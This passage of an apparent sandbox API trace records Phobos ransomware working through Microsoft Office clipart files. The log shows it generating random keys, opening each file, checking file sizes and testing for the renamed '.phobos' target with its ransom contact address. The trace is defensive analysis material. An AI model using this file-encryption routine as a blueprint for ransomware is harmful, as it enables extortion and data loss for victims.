lpFileSize=0x411fa30*=3956) returned 1 [0154.651] CloseHandle (hObject=0x250) returned 1 [0154.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf")) returned 0x220 [0154.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00246_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00246_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.651] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.652] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=5564) returned 1 [0154.652] CloseHandle (hObject=0x250) returned 1 [0154.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00253_.wmf")) returned 0x220 [0154.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00253_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00253_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00253_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.653] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.653] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0154.654] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7592) returned 1 [0154.654] CloseHandle (hObject=0x250) returned 1 [0154.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00255_.wmf")) returned 0x220 [0154.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00255_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00255_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\TN00255_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\tn00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.802] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.804] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=679) returned 1 [0154.804] CloseHandle (hObject=0x254) returned 1 [0154.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif")) returned 0x220 [0154.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.804] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.805] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=685) returned 1 [0154.805] CloseHandle (hObject=0x254) returned 1 [0154.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif")) returned 0x220 [0154.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.805] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.806] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=353) returned 1 [0154.806] CloseHandle (hObject=0x254) returned 1 [0154.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif")) returned 0x220 [0154.806] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01295_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.807] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.808] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=495) returned 1 [0154.808] CloseHandle (hObject=0x254) returned 1 [0154.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif")) returned 0x220 [0154.808] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01296_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.808] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.808] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.809] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=894) returned 1 [0154.809] CloseHandle (hObject=0x254) returned 1 [0154.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif")) returned 0x220 [0154.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.810] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.811] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=700) returned 1 [0154.811] CloseHandle (hObject=0x254) returned 1 [0154.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif")) returned 0x220 [0154.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.812] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.813] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=318) returned 1 [0154.813] CloseHandle (hObject=0x254) returned 1 [0154.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif")) returned 0x220 [0154.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.813] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.814] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=592) returned 1 [0154.814] CloseHandle (hObject=0x254) returned 1 [0154.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif")) returned 0x220 [0154.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01300_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.814] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.814] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.815] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=681) returned 1 [0154.815] CloseHandle (hObject=0x254) returned 1 [0154.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif")) returned 0x220 [0154.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01301_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01301_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.815] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.816] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8310) returned 1 [0154.816] CloseHandle (hObject=0x254) returned 1 [0154.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif")) returned 0x220 [0154.817] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01304G.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01304g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.817] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.817] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.818] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=370) returned 1 [0154.818] CloseHandle (hObject=0x254) returned 1 [0154.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif")) returned 0x220 [0154.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01330_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01330_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.818] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.819] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2201) returned 1 [0154.819] CloseHandle (hObject=0x254) returned 1 [0154.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif")) returned 0x220 [0154.819] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01734_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01734_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.819] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.820] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=707) returned 1 [0154.820] CloseHandle (hObject=0x254) returned 1 [0154.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif")) returned 0x220 [0154.820] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01740_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01740_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.820] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0154.820] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x254 [0154.821] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=595) returned 1 [0154.821] CloseHandle (hObject=0x254) returned 1 [0154.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif")) returned 0x220 [0154.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\WB01742_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\wb01742_.gif"), dwDesiredAccess=0xc0000000, 